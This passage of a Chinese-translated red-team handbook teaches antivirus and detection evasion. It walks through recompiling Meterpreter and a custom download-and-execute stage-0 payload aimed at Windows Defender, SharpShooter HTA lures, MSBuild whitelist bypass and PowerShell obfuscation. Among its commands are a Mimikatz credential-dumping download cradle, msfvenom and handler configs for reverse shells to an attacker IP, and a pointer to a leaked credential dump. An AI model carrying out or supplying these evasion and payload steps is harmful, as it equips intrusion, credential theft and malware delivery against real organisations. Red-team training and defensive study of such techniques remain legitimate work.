StartupNetworking() 的唯一参数。如果你决定更改客户端中的数据包签名,则需要修改服务器以反映该数据包。
这意味着在 include/lib/networking.h 文件中, PACKET_SIGNATURE 值要与客户端中的全局变量相匹配。
添加新的处理程序
设置网络代码库可以允许你轻松地添加新功能。为此,你需要使用客户端上的 void name() 原型或服务器上的
void name(int conn) 原型来创建一个回调函数。这些将被注册到你的消息类型的处理程序数组,并且在验证头数
据包时调用它们。在这些函数中,你必须从 recv 缓冲区中读取包和相关数据。你需要调用 recv() 来指向数据包
结构上的指针,以及该数据包的大小。这将提供关于需要从 recv 缓冲区中拉取多少数据的信息。在这个例子中,你
将看到我们在处理程序中读取 BLOB_PACKET ,然后使用存储在 packet.payloadLen 中的值来指示我们需要进一步
读取的字节数。相同的原理可以应用于其他的数据类型。如果要将包含文件路径的字符串发送到受害者计算机上的某
个文件,你需要在处理程序的数据包中设置一个字段,用于描述字符串的长度,你将在发送完数据包之后发送该字符
串。
进一步练习
虽然此代码库已经可以为你的工作提供一个可靠的基础,但你仍然可以通过多种方式自行改进。比较直接的思路是在
传输层上加一个简单的加密层。你可能希望创建自己的 send 和 recv 包装器,用于在调用 send 和 recv 函数之
前进行解密/加密。一种非常简单的实现方法是使用多字节异或密钥,虽然不是很安全,但至少会充分的改变你的消
息,使之不易识别。另一个可能的思路是扩展 LoadBlobHandler() 函数,使之具有新的 LOAD_TYPE 。使用这种新
LOAD_TYPE 的话,如果客户端以管理员身份运行,就会加载已签名的驱动程序。这可以通过使用
CreateService() 和 StartService() 这两个 Windows API 调用来完成。但是需要记住加载驱动程序需要它在磁
盘上,这将触发文件系统的微型过滤器驱动程序来获取它。
重新编译 Metasploit/Meterpreter 以绕过杀毒软件和网络检测
我真的很想谈谈这个话题。但请注意,这将会有一些超前,所以你很可能在编译期间遇到一些问题。有很多很棒的工
具,比如 Metasploit / Meterpreter,但是每个防病毒和网络入侵检测(NID)工具都为它开发了签名。我们可以尝
试使用 Shikata Ga Nai 来混淆通过 HTTPS 传输的 payload,但也仅此而已。任何类型的混淆通常都会有一个检测
的存根签名,杀毒软件会检查内存,查看特定某些位置的特殊字符串。网络流量可以通过 HTTPS 执行中间人检查。
那么我们怎样才能继续使用我们喜欢的工具,同时绕过所有常见的保护措施呢?让我们以 Metasploit/Meterpreter
为例,看看我们如何绕过所有这些障碍。我们的目标是处理和解决二进制文件的杀毒软件签名(静态特征),内存运
行中的特征和网络流量特征。
为了躲避所有这些检测方法,我们需要做一些事情。首先,我们需要修改 Meterpreter 的 payload,以确保不会在网
络和内存中使用签名轻松检测到它们。其次,我们修改 metsvc 持久性模块以防止它标记反病毒。第三,我们用
Clang 编译部分 metsrv (实际的 Meterpreter payload),以防止它也标记反病毒签名。最后,我们将编写自己
的 stage0 payload,下载并执行 Meterpreter ,以绕过所有的反病毒。
使用 Clang 编译 metsrv ( Meterpreter 的网络服务包装器)并删除 metsrv/metsvc-server 引用:
http://bit.ly/2H2kaUB
修改Payload,删除像 Mimikatz 这样的字符串:
http://bit.ly/2IS9Hvl
修改反射 DLL 注入以删除像 ReflectiveLoader 这样的字符串:
http://bit.ly/2qyWfFK
许多网络产品会检测 Meterpreter 的0/1/2级加载器。除了混淆我们的 payload,我们还可以混淆实际的
shellcode。一个例子是遍历所有 Ruby 文件以获取不同的 payload 类型,并添加随机空指令滑行区(nop sled)以
避免被检测到:
译者注:一个空指令雪橇(NOP sled)(也被称为空指令滑行区)是在 shellcode 之前的一段很长的指令序列。参考
资料: 空指令雪橇
http://bit.ly/2JKUhdx
自定义 Stage0 payload:
http://bit.ly/2ELYkm8
实验:
在本实验中,我们将采用所有我们修改过的 Metasploit/Meterpreter 代码,重新编译它,并确保它可以躲避基本的
杀毒软件检测。
在开始之前,请查看搭建 Metasploit 的环境设置:
https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter
https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environme
nt
Windows 要求:
Visual Studio 2013(VS2013)—— 社区版就行。需要随安装时一并安装 C/C++。
LLVM 32位 Windows版本(一定要在安装完 VS 之后再安装 LLVM 而且一定要安装 LLVM 工具链) —— 在此地址
下载 LLVM 6。
Windows 版本的 GNU make 工具程序 —— 确保它位于你的路径中,或者从它的可用的已安装路径运行它。
Git-SCM
如何在 Windows 上构建(build) Metasploit/Meterpreter:
首先拉取所有的 cyberspacekitten 仓库。这些文件已经针对你的实验进行了大量修改来作为 POC。然后我们需要下
载框架和所有 payload:
git clone https://github.com/cyberspacekittens/metasploit-framework
cd metasploit-framework && git submodule init && git submodule update && cd ..
git clone https://github.com/cyberspacekittens/metasploit-payloads
cd metasploit-payloads && git submodule init && git submodule update && cd ..
虽然我们已经对仓库做了包括修改字符串、用 clang 编译和为 payload 添加随机空指令滑行区等这些更改,但请务
必检查这两个仓库之间的 Metasploit 差异,以明确具体的更改内容。
编译 Metasploit/Meterpreter:
我们要做的第一件事情是重新编译我们更改后的 metsvc 和 metsvc-server 。在 Visual Studio 2013 的开发者命令
提示符 VS2013(Command Prompt for VS2013)中执行以下操作:
转到我们修改的 metsvc 的源码所在的文件夹:
cd metasploit-framework\external\source\metsvc\src
使用 make 进行编译:
“C:\Program Files (x86)\GnuWin32\bin\make.exe”
将我们新创建的二进制文件移到我们的 meterpreter 文件夹:
copy metsvc.exe ........\data\meterpreter\
copy metsvc-server.exe ........\data\meterpreter\
接下来,修改我们的 Meterpreter payload 并使用提供的 .bat 文件对其进行编译:
cd metasploit-payloads\c\meterpreter
make.bat
编译完所有内容后,将生成两个文件夹(x86 和 x64)。将所有已编译的 DLL 复制到 meterpreter 文件夹:
copy metasploit-payloads\c\meterpreter\output\x86* metasploit-framework\data\meterpreter
copy metasploit-payloads\c\meterpreter\output\x64* metasploit-framework\data\meterpreter
最后就是要放到服务器上了。我们现在可以将整个 metasploit-framework 文件夹放到你的 Kali 系统上并启动
HTTPS 反向处理程序(windows/x64/meterpreter/reverse_https)。
创建一个修改后的 Stage 0 Payload
我们需要做的最后一件事是创建一个 Stage 0 payload 来让我们的初始可执行文件绕过所有杀毒软件检测。
Meterpreter 中的 stage 0 payload 是任何漏洞利用或 payload 的第一阶段。 stage 0 payload 是一段代码,它
实现了一个简单的功能:以我们想要的方式(reverse_https,reverse_tcp,bind_tcp 等)进行连接或者监听,然后
接收一个 metsrv.dll 文件。它随后将此文件加载到内存中,然后执行它。从本质上讲,任何 Stage 0 payload 都只
是一个美化的“下载并执行” payload,因为这就是所有的 Metasploit 运行的方式,所以在许多反病毒解决方案中都有
针对 Metasploit 特定行为的高级签名和启发式分析——哪怕修改 shellcode 并添加花指令也仍然会因启发式分析而
被标记为恶意。为了解决这个问题,我们编写了自己的 Stage 0,它执行相同的功能(在内存中下载和执行):我们
复制 Meterpreter 的 reverse_https payload 的下载调用,从服务器获取 metsrv.dll,然后将其注入到内存中并执行
它。
译者注:
1. 在 metasploit 里面,payload 简单可以分为三类: single , stager , stage 。
single :实现单一、完整功能的 payload,比如说 bind_tcp 这样的功能。
stager 和 stage 就像 web 入侵里面提到的小马和大马一样。
由于 exploit 环境的限制,可能不能一下子把 stage 传过去,需要先传一个 stager,stager 在攻击者和攻击目标之
间建立网络连接,之后再把 stage 传过去进行下一步的行动。Reflective DLL Injection 就是作为一个 stage 存
在。也即是说,你已经有了和攻击目标之间的连接会话,你可以传送数据到攻击目标上,之后 meterpreter 与
target 之间的交互就都是和发送过去的反射 dll 进行交互。
参考资料: Meterpreter 载荷执行原理分析
2. 关于 stage 0 了解更多: 探寻 Metasploit Payload 模式背后的秘密
这里提供的 payload 具体示例具有一些更高级的功能。这样做是为了使它成为地址无关代码(PIC),并且不需要导
入。这段代码是基于 thealpiste 的代码开发的 ( https://github.com/thealpiste/C_ReverseHTTPS_Shellcode )。
提供的示例 payload 执行以下操作:
所有代码都在内存中定位 DLL 和函数以便执行;无需导入任何模块。这是通过手动为所有使用的函数打桩,然后
在内存中搜索它们来实现的。
使用 Wininet 将实际的 HTTPS 请求执行回配置的 Metasploit 处理程序。
接收 metsrv.dll ,并执行 blob 数据。Metasploit 为这些文件提供服务的方式,意味着入口点是缓冲区的开
头。
这个功能是与执行 msfvenom 中构建的 payload 完全相同的过程。然而,msfvenom 以一种容易被预测和检测到的
方式将这些添加到模板可执行程序中,并且这种方式是不可配置的。因此,大多数杀毒软件一直可以识别到它们。但
是,仅仅需要一点编码技巧,你就可以重新编写这个 payload 的功能。重写的 payload 很小,并且可以绕过当前存
在的任何检测。在撰写本文时,已经测得此 payload 可以绕过所有杀毒软件,包括 Windows Defender。
创建 payload(完整的 payload 位于这里):
在 VS 2013中,打开 metasploit-payloads\c\x64_defender_bypass\x64_defender_bypass.vcxproj
在 x64_defender_bypass 下有一个 settings.h 文件。打开此文件并将 HOST 和 PORT 信息修改为你的
Meterpreter 处理程序(handler)信息。
确保将构建模式设置为 Release 并编译 x64
保存并构建
在 metasploit-payloads\c\x64_defender_bypass\x64\Release 下,将创建一个新的二进制文件
x64_defender_bypass.exe 。在运行了 Windows Defender 的受害计算机上执行此 payload。当此项目构建
成功,Windows Defender 不能检测到这个 payload。
你现在拥有一个深度混淆过的 Meterpreter 二进制文件和混淆过的传输层,以绕过所有默认的保护。现在这仅仅是
一个让你入门的 POC。只要本书一发布,我可以预见到其中一些技术不久就会被检测出签名。你还可以采取更多措
施来更好地规避检测工具。例如,你可以:
使用 clang 混淆工具链来构建
对所有字符串使用字符串加密库
更改 Meterpreter 入口点(目前是 Init )
创建一个自动化脚本,为所有 payload 类型添加空指令(nops)
编辑 payload 生成的实际 ruby,以便在每次运行时随机化 payload
SharpShooter
作为红队队员,最耗时的事情之一就是创建可以躲避新一代杀毒软件和沙盒安全机制的 payload。我们一直在寻找新
的方法来创建我们的初始 stager 。一个名为 SharpShooter 的工具采用了许多反沙盒技术和 James Forshaw 的
DotNetToJScript 来执行 Windows 脚本格式的 shellcode(CACTUSTORCH工具—— https://github.com/mdsecacti
vebreach/CACTUSTORCH )。
摘自 MDSec 网站对于 SharpShooter 的描述:“SharpShooter 支持 staged 和 stageless 这两种类型 payload 的
执行。 staged 执行可以在 HTTP/HTTPSS、DNS 或 HTTP/HTTPS 与 DNS 相结合等这些情况下进行。当一个
staged payload 执行时,它将尝试检索已经压缩的 C# 源代码文件,之后使用所选的传输技术进行 base64 编码。
随后在主机上使用 .NET CodeDom 动态编译器对 C# 源代码进行下载和编译。然后使用反射从源代码执行所需的方
法。”
让我们快速把一个示例走一遍:
python SharpShooter.py --interactive
1 - For .NET v2
Y - Staged Payload
1 - HTA Payload
可以选择使用以下防沙盒技术:
你可以选择你想用的技术来绕过沙盒机制从而成功的执行你的恶意软件。
[1] Key to Domain
[2] 确保 Domain 加入
[3] 检查沙盒痕迹
[4] 检查错误的 MAC 地址
[5] 检查调试
1 - 网络传输
Y - 内置 shellcode 模板
shellcode 作为一个字节数组
打开一个新终端并创建一个 C# 语言的 Meterpreter payload
msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=10.100.100.9 LPORT=8080
EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f csharp
复制 { 和 } 之间的所有内容并作为字节数组提交
为 C# 网络传输提供 URI
输入攻击者机器的IP/端口和文件。示例:http://10.100.100.9/malware.payload
提供输出文件的文件名
恶意软件
Y - 你想将 payload 嵌入到 HTML 文件中吗?
使用自定义(1)或预定义(2)模板
要进行测试,请选择任意预定义模板
将新创建的恶意文件移动到你的 Web 目录下
mv output/* /var/www/html/
为你的 payload 建立一个 Meterpreter 处理程序(handler)
配置和开发了恶意软件后,将其移至 Web 目录(malware.hta,malware.html,malware.payload),启动
apache2 服务,然后启动你的 Meterpreter 处理程序。你现在已经做好准备,通过诱导受害者访问你的恶意站点来
对其发动社会工程学攻击!下图中给出的示例是 Sharpshooter 的 SharePoint 在线模板。当受害者使用 IE/Edge 浏
览器访问你的恶意网页时,HTA 会自动下载并提示运行。一旦显示了提示并选择运行的话,stager payload 就会运
行,下载辅助 payload(满足沙箱控件的情况下),并在内存中执行我们的 Meterpreter payload。
补充信息:
https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/
https://github.com/mdsecactivebreach/SharpShooter
应用程序白名单绕过
我们已经讨论了在不运行 PowerShell 代码的情况下触发 PowerShell 的不同方法,但如果你无法在 Windows 系统上
运行自定义二进制文件,该怎么办?“应用绕过”的概念就是查找可以执行我们 payload 的默认 Windows 二进制文
件。我们一直受限于一些环境因素比如域控(DC)的锁定机制,只能进行有限的代码执行。我们可以使用一些不同
的 Windows 文件来绕过这些限制,让我们来看看它们中的几个。
一个经常被讨论的可以用于绕过应用白名单的 Windows 二进制文件是 MSBuild.exe 。什么是 MSBuild.exe ,它有
什么作用? MSBuild 是 .NET 框架中的一个默认应用,它是使用 XML 格式的项目文件构建 .NET 应用程序的平台。
我们可以对 MSBuild 使用 XML 项目文件格式这个特性进行利用,我们可以使用名为 GreatSCT 的工具创建我们自己
的恶意 XML 项目文件来执行 Meterpreter 会话,从而利用此特性。
GreatSCT 有我们可以使用的各种应用白名单绕过的方式,但我们只将介绍 MSBuild。在此示例中,我们将创建一个
托管 reverse_http Meterpreter 会话的恶意 XML 文件。这将要求我们将 XML 文件写入受害系统并使用 MSBuild 来
执行该 XML 文件:
git clone https://github.com/GreatSCT/GreatSCT.git /opt/
cd /opt/GreatSCT
python3 ./gr8sct.py
[4] MSBUILD/msbuild.cfg
填写你的主机IP[0]和端口[1]
生成
使用 Metasploit 创建一个新的 windows/meterpreter/reverse_http 的监听器
在我们的 Kali 实例中,我们使用 GreatSCT 来创建 shellcode.xml 文件,该文件包含构建信息和一个 Meterpreter
反向 http shell。需要将此文件移动到受害系统并使用 MSBuild 进行调用。
*注意:我观察到 GreatSCT 项目正在 develop 分支上进行活跃的开发,其中包括 https Meterpreter 和其他应用程
序白名单绕过命令执行。我估计在本书发布之前,就会被合并到 master 分支。
在 Windows 受害者计算机上执行文件调用后,使用
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe shellcode.xml 命令,.NET 将开始构建
shellcode.xml 文件。在此过程中,将在受害者计算机上生成一个反向 http Meterpreter 会话来绕过任何应用程白名
单。你可能希望编辑 shellcode.xml 文件以插入经过混淆的 payload,因为 Meterpreter 默认的 payload 很可能会
触发杀毒软件。
可以使用许多种不同的方法来进行应用程序白名单绕过,光这一部分内容就足以写成一本书。以下是一些额外的资
料:
使用 Windows 默认可执行文件的大量示例:
https://github.com/api0cradle/UltimateAppLockerByPassList
使用 REGSRV32 和 PowerShell Empire:
https://www.blackhillsinfosec.com/evade-application-whitelisting-using-regsvr32/
通过 Excel.Application 的 RegisterXLL() 方法执行 DLL:
https://rileykidd.com/2017/08/03/application-whitelist-bypass-using-XLL-and-embedded-shellcode/
利用 INF-SCT 获取并执行绕过、规避查杀和持久化技术:
https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-per
sistence-part-2/
利用 Regsvr32 绕过 Applocker:
https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
代码洞(Code Caves)
与任何红队行动一样,我们一直在寻找创造性的方式在环境中横向移动或保持持久性。通常,如果我们有凭证,我们
会尝试使用 WMI 或 PSExec 在远程系统上执行 payload。有些时候,我们需要找到创造性的方式在环境中移动而不
被轻易跟踪。
作为红队队员,被抓住并不是入侵行动中可能发生的最糟糕的事情。最糟糕的事情是当我们被抓住并且蓝队发现了属
于该行动的每个域、IP 和受感染的主机。蓝队人员通常很容易就能检测到 WMI、PSexec 的连接特征来判定内网有横
向移动,因为它并不总是被视为正常流量。那么我们可以做些什么来隐藏我们的横向移动呢?
这是我们可以发挥创造性的地方,没有标准答案(如果某种方法有效,那对我来说就够好了)。一旦进入一个环境,
我最喜欢做的事情之一就是发现公开共享和主动共享/执行的文件。我们可以尝试将宏添加到 Office 文件中,但这似
乎太明显了。一种通常不太容易被检测出并且成功率高的攻击是将我们的自定义恶意软件嵌入可执行二进制文件中。
这可以是像 putty 这样的共享二进制文件,一个内网环境中常见的胖客户端应用程序,甚至是数据库工具。
虽然不再维护,但执行这些攻击最简单的工具之一是 Backdoor factory。Backdoor factory 会在真实程序中查找代
码洞或空块,攻击者可以在其中注入自己的恶意 shellcode。上本书中涵盖了这一点,其思路保持不变。
可以在此处找到这两个资源:
https://haiderm.com/fully-undetectable-backdooring-pe-file/#Code_Caves
https://www.abatchy.com/2017/05/introduction-to-manual-backdooring_24.html
译者注:
经验证,上两个链接都已经404了。但是译者还是顽强的找到了不同网址同内容的替代资源。
对于第一个网址链接的文章,可以在本地址阅读该英文文章来查看 Code Caves 这一部分。
对于第二篇文章,几乎都404了。但是我找到了此文的出处:Introduction-To-Manual-Backdooring 这本电子
书。需要的自取。
PowerShell 混淆
PowerShell Scripts 当前的问题是,如果你将它们放到磁盘上,很多防病毒工具都会把它们检测出来。即使你将它们
导入内存,查看内存的杀毒软件工具有时也会对它们发出警报。
无论如何,如果你从 Cobalt Strike、Meterpreter 或 PowerShell Empire 将它们导入内存,确保我们不会被杀毒软
件检测出来是非常重要的。万一被检测出来的话,我们至少应该让应急响应团队或取证团队很难去逆向我们的攻击
payload。
我们都看过像这样的 PowerShell 命令:
Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass IEX
(New-Object Net.WebClient).DownloadString(‘[PowerShell URL]’); [Parameters]
这是我们可能看到的最基本的 powershell 调用指令的字符串组合,可以用于绕过执行策略,来以隐藏窗口的模式
(后台运行无弹窗)自动下载和执行 powershell payload。对于蓝队,我们已经看到了很多关于这些特定参数的日
志记录,比如 -Exec Bypass 。因此,我们开始通过一些常见的 PowerShell 语法来混淆此参数:
-ExecutionPolicy Bypass
-EP Bypass
-Exec Bypass
-Execution Bypass
感谢 Daniel Bohannon 的提醒!他提醒说:更疯狂的是,我们实际上不需要打出完整的参数字符串就能使它工作。
例如,对于 -ExecutionPolicy Bypass ,所有下列示例都可以生效:
-ExecutionPolicy Bypass
-ExecutionPol Bypass
-Executio Bypass
-Exec Bypass
-Ex Bypass
这些技术也同样适用于 WindowStyle 甚至 EncodedCommand 参数。当然,这些技巧不足以支撑我们走得更远,我
们还需要创建更多的混淆变换。首先,我们可以使用一个非常简单的示例来执行我们的远程 PowerShell 脚本(在本
例中为 Mimikatz)并使用以管理员身份运行的 PowerShell 提示符来转储哈希值:
Invoke-Expression (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2JHVdzf’); Invoke-Mimikatz -
DumpCreds
译者注:
1. WindowStyle 和 EncodedCommand 是 PowerShell.exe 的选项参数。 WindowStyle 可以改变 CMD 窗
口的风格,将窗口样式设置为 Normal、Minimized、Maximized 或 Hidden。 EncodedCommand 是接受
base-64 编码字符串版本的命令。使用此参数向 Windows PowerShell 提交需要复杂引号或大括号的命
令。欲知更多参数,可以在 Windows Powershell 里面使用 powershell -help 命令查看。
2. Invoke-Expression 能将任何的字符串当作PowerShell脚本来执行。以下附上关于 Invoke-
Expression 的更多参考资料:
Invoke-Expression
Invoke-Expression 帮助信息
通过 Invoke-Obfuscation 混淆框架,我们可以使用以下几种不同的技术对这个字符串进行深度混淆:
在 Windows 上,下载用于 Invoke-Obfuscation 的 PowerShell 文件( https://github.com/danielbohannon/I
nvoke-Obfuscation )
加载 PowerShell 脚本并启动 Invoke-Obfuscation
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
设置要混淆的 PowerShell 脚本。在这个例子中,我们将混淆上面的 Mimikatz 哈希值下载转储脚本
SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2JHV
dzf’); Invoke-Mimikatz -DumpCreds
对 payload 进行编码
ENCODING
在这个例子中,我选择了 SecureString(AES),但你可以把所有这些混淆技术都试一试。
混淆后的字符串包含一个随机生成的密钥和一个加密的安全字符串。在管理员权限下运行 PowerShell,我们仍然可
以执行完整的 payload。
我们也可以回到主屏幕并创建混淆的 launcher:
main
launcher
CLIP++
选择你的执行 flag
更棒的是,查看 Windows PowerShell 日志我们会发现,如果脚本是混淆的,日志中也仅仅是记录了混淆后的东
西。这个特性可以帮助我们躲避杀毒软件和 SEIM 警报工具。
除了 Invoke-Obfuscation 之外,Daniel 还创建了一个名为 Invoke-CradleCrafter 的工具,该工具专注于远程下载
cradle,是一个 PowerShell 2.0+ 版本兼容的 PowerShell 远程下载 cradle 生成器和混淆器。Invoke-CradleCrafter
的 github README 文档中介绍说,“Invoke-CradleCrafter 的存在是为了帮助蓝队和红队轻松探索、生成和混淆
PowerShell 远程下载 cradle。此外,它可以帮助蓝队测试环境检测的有效性。Invoke-CradleCrafter 可以检测
Invoke-Obfuscation 产生的输出,但是在处理 Invoke-CradleCrafter 时可能会失败,因为它不包含任何字符串拼
接、编码、复选标记、类型转换等”。
译者注: 什么是 cradle?
一个 download cradle (下载 cradle)是一个用于下载和代码执行的单行命令。通常可以在 maldoc 或
exploit 的末尾看到,执行攻击生命周期中第二阶段的exploit/infection 下载。在某些情况下,比如攻击者运行
无文件时,一个下载 cradle 也可以是其他攻击阶段的持久性机制、工具或执行的一部分。
参考资料:Powershell Download Cradles
不使用 PowerShell.exe 执行 PowerShell 脚本
你最终在一个目标机器上找到了远程代码执行漏洞,但是你发现无法运行 PowerShell.exe 或该公司正在监视
PowerShell.exe 的命令。有哪些选项可以让你的 PowerShell payload 或 C2 代理在该主机系统上运行?
NoPowerShell(NPS)
我喜欢 NoPowerShell 或 NPS 的概念。NPS 是一个 Windows 二进制文件,它通过 .Net 执行 PowerShell 脚本,而
不是直接调用 PowerShell.exe。虽然现在杀毒软件通常会标记这一点,但我们可以使用相同的概念来创建二进制文
件,以直接执行我们的 PowerShell 恶意软件而无需 PowerShell.exe。Ben0xA 已经为你提供了源代码 ,因此请随意
尝试对二进制文件进行混淆处理以解决杀毒软件的绕过问题。
NPS_Payload( https://github.com/trustedsec/nps_payload )
对 NPS 的另一种实施思路是 TrustedSec 的一个工具,通过 MSBuild.exe 执行代码。此工具将生成 PowerShell
payload 到一个 msbuild_nps.xml 文件中,该文件在调用时执行。此 XML 文件可以通过以下方式调用:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\<path_to_msbuild_nps.xml>
SharpPick
SharpPick 是 PowerPick 的一个组件,它是一个很棒的工具,允许你在不调用 PowerShell.exe 二进制文件的情况下
调用 PowerShell。在 SharpPick 中,“ RunPS 函数调用 System.Management.Automation 函数在 PowerShell 运
行空间内执行脚本,而无需启动 PowerShell 进程。” [ http://www.sixdub.net/?p=555 ]
下载 SharpPick 后,你可以使用你的 PowerShell Empire payload 并创建二进制文件。有关如何设置环境和构建
payload 的完整演练,请访问:
http://www.sixdub.net/?p=555
https://bneg.io/2017/07/26/empire-without-powershell-exe/
有时我们可能没办法在主机系统上放一个二进制文件。在这种情况下,我们可以创建一个类库(DLL 文件),将其放
到主机系统上并使用 rundll32.exe runmalicious.dll,EntryPoint 执行。
当然,这些 DLL 文件的创建可以由 Meterpreter 或 Cobalt Strike 自动完成,但是好在我们可以灵活地运行特定的
PowerShell payload,而无需调用 PowerShell.exe。
译者注 译者找到的额外参考资料:
1. 关于 rundll32.exe 的文章:利用 rundll32.exe 运行 dll 绕过杀毒软件
2. 关于不使用 PowerShell.exe 执行 PowerShell 脚本的文章:PowerShell: Malwares use it without
powershell.exe
HideMyPS
HideMyPS 是一个我几年前写的工具,至今它仍然广受好评。它一直都只是个 POC 工具,但即使经过这么多年它仍
然有效。我遇到的问题是,现在任何 PowerShell 脚本都会被杀毒软件检测。例如,如果我们在带有 Windows
Defender 的 Windows 系统上丢下了原生的 Invoke-Mimikatz.ps1,微软杀毒软件将立即启用查杀功能捕获
PowerShell 脚本并发送警告。这是传统杀毒软件的主要缺陷之一,事实是它们通常在恶意软件中寻找非常特定的字
符串。因此,我整理了一个小的 Python 脚本,该脚本采用 PowerShell 脚本并对所有字符串进行混淆处理(仅使用
少量脚本对其进行测试,因此它远不及生产代码)。
HideMyPS 将找到所有函数并使用 ROT 对它们进行混淆处理,从 PowerShell 脚本中删除所有注释,并切分字符串以
躲避杀毒软件的静态签名分析检测。对于下一个例子,让我们使用 Invoke_Mimikatz.ps1 并对其进行混淆:
cd /opt/HideMyPS
python hidemyps.py invoke_mimikatz.ps1 [filename.ps1]
现在,看看原始文件和你创建的新文件之间的区别。首先,你可以看到函数名称全部混淆,变量已经被改,字符串被
分解为两半,并且所有注释都移除了。
你必须记住的一件事是我们更改了 PowerShell 脚本中的所有函数名称。因此,为了调用函数,我们将不得不回顾我
们的混淆文件,看看我们做了什么来替换 Invoke-Mimikatz 函数。在这个例子中, Invoke-Mimikatz 改名为
Vaibxr-Zvzvxngm 。以下示例是在完全修补的 Windows 10 上运行的,其中 Windows Defender 已经更新到最新版
本。
本章总结
作为红队成员或渗透测试工程师,我们总是在与主机/网络检测工具玩猫捉老鼠的游戏。这就是为什么理解潜在保护
体系的工作机制、编写底层代码以直接与 Windows API 而不是 shell 命令进行交互,以及跳出框框进行创造性思考
这些能力是非常重要的。如果你的关注点仅限于一些常用工具,那么你的入侵行动有很大的概率会在企业环境中被检
测到。如果这些工具是公开的,那么安全厂商很可能会在它们刚出现时候就对其进行逆向并且为它们开发签名。你可
以利用当前已有的攻击工具并以某种方式对其进行定制化二次开发,使其不能被这些安全厂商识别。
第8章 特勤组——破解、漏洞利用和技巧
译者:@Snowming
校对者:@鶇、@哈姆太郎、@匿名jack
本章重点介绍了一些我个人发现的对红队和渗透测试都有用的不同资源。这些资源可能不会在每个模拟入侵行动中都
用到,但对于特定场景或在某一次的案例中可能非常有用。
自动化
随着基于启发式(heuristic-based)的端点保护变得越来越完善,我们的攻击需要变得更加迅速。我们通常可以编写
恶意软件来躲避杀毒软件和绕过初始检测,但是一旦我们开始在内存中调用 Mimikatz 或者进行横向移动到其他主
机,我们就会开始触发报警。为了解决这个问题,我总是告诉红队,我们的初步试探可以故意让蓝队捕获。因为通常
情况下,蓝队在发现我们使用的默认/基础恶意软件(或者仅仅进行了轻微的混淆)时就会将此视为胜利,但我们的
真正目的是了解他们的环境。这是通过我们的初始 payload 在受害者的机器上自动运行多个侦察脚本来实现的。在
下一节中,我们将介绍一些可以使我们的一些攻击自动化的快速自动运行脚本。
使用 RC 脚本自动化运行 Metasploit
对于 Metasploit,我们可以使用以下方法高效地运行我们的后渗透利用脚本:
搜索 Metasploit 中所有的后渗透利用模块:
msfconsole
show post
从显示的结果中,选择你想要包含的所有模块,以便在接收到一个 Meterpreter Shell 时自动执行。在这个案例中,
我们将为我们的攻击添加一个 privilege migrate 后渗透模块。要配置 Meterpreter Shell 以便让它在受攻击主机的初
始连接上运行此 payload,我们需要指定一个 AutoRunScript 参数。你可以根据需要添加尽可能多的
AutoRunScripts 参数来转储(dump)有关系统和网络的信息,然后横向移动,甚至更多!
创建处理程序 (Handler) 和 AutoRunScript:
创建处理程序文件
gedit handler.rc
配置处理程序和自动运行脚本
use multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 10.100.100.9
set LPORT 443
set AutoRunScript post/windows/manage/priv_migrate
set ExitOnSession false
set EnableStageEncoding true
exploit -j
启动处理程序
msfconsole -r handler.rc
自动化运行 Empire
Empire 具有与 Metasploit 资源文件类似的功能,可以自动完成许多重复性任务。首先,我们需要创建一个文件(在
我们的示例中,我们将创建一个名为 /opt/empire_autoload.rc 的文件)然后在我们的 Empire 实例中加载它。
在一个单独的终端窗口中,创建一个处理程序文件:
添加所有你想要执行的后渗透模块:
在 Empire 中,加载 autoload.rc 资源文件:
agents
autorun /opt/empire_autoload.rc powershell
autorun show
gedit /opt/empire_autoload.rc
usemodule situational_awareness/network/powerview/get_user
execute
back
usermodule situational_awareness/network/powerview/get_computer
execute
back
如你所见,当代理连接时,它会自动运行 get_user 和 get_computer 的 PowerShell 脚本。这些脚本的所有运行
结果都将存储在 agent.log 文件中。在这种情况下,我们的代理名称是 N6LM348G,因此我们的日志将存储在
/opt/Empire/downloads/N6LM348G/agent.log。
自动化运行 Cobalt Strike
Cobalt Strike 如此强大的一个主要原因是因为它有 Aggressor 脚本。使用 Cobalt Strike 的 Aggressor 脚本,你不仅
可以配置自动运行的脚本,还可以创建非常复杂的攻击。例如,我经常遇到进攻共享工作站的场景,例如实验室服务
器或会议室盒子。我可能就会希望我们的代理机器最好能每隔半小时运行 Mimikatz 以获取明文凭证。使用
Aggressor 脚本,我们可以执行所有这些操作甚至更多操作。下面是一个示例脚本: mimikatz-every-30m.cna。
Aggressor 其他脚本集合:
https://github.com/bluscreenofjeff/AggressorScripts
https://github.com/harleyQu1nn/AggressorScripts
自动化的未来
最后,有一些很酷的项目正朝着自动化,智能入侵和 APT 攻击的方向发展。我坚信入侵行动的未来是朝着自动化的
方向发展的,我们需要自动化地测试和验证我们的安全控制机制。我认为在发展这种自动化趋势方面具有巨大潜力的
两个工具是:
Portia
Caldera
密码破解
我了解的最新的和最喜欢的密码列表之一是来自最近发现的41 GB 大小的密码脱库,它包含14亿的用户名和密码( h
ttp://bit.ly/2HqbYk8 )。不过,我不想直接把下载链接展示出来,因为它包含很多敏感的用户名(或电子邮件)和
相关密码,但你可以搜索 BreachCompilation.tar.bz2 以查找有关它的更多信息。在下载这些非常敏感的信息之
前,请先查看你所在国家的法律。我建议你不要下载原始数据,只需下载密码列表即可。我已经下载了这个41GB 的
字典,然后删除了所有用户名和电子邮件,并整理出了只是密码的数据。位于:http://thehackerplaybook.com/ge
t.php?type=THP-password 。
在我的个人机器上,我使用8块技嘉 GV-N108TTURBO-11GD AORUS GeForce GTX 1080 Ti Turbo 11G 显卡,大约
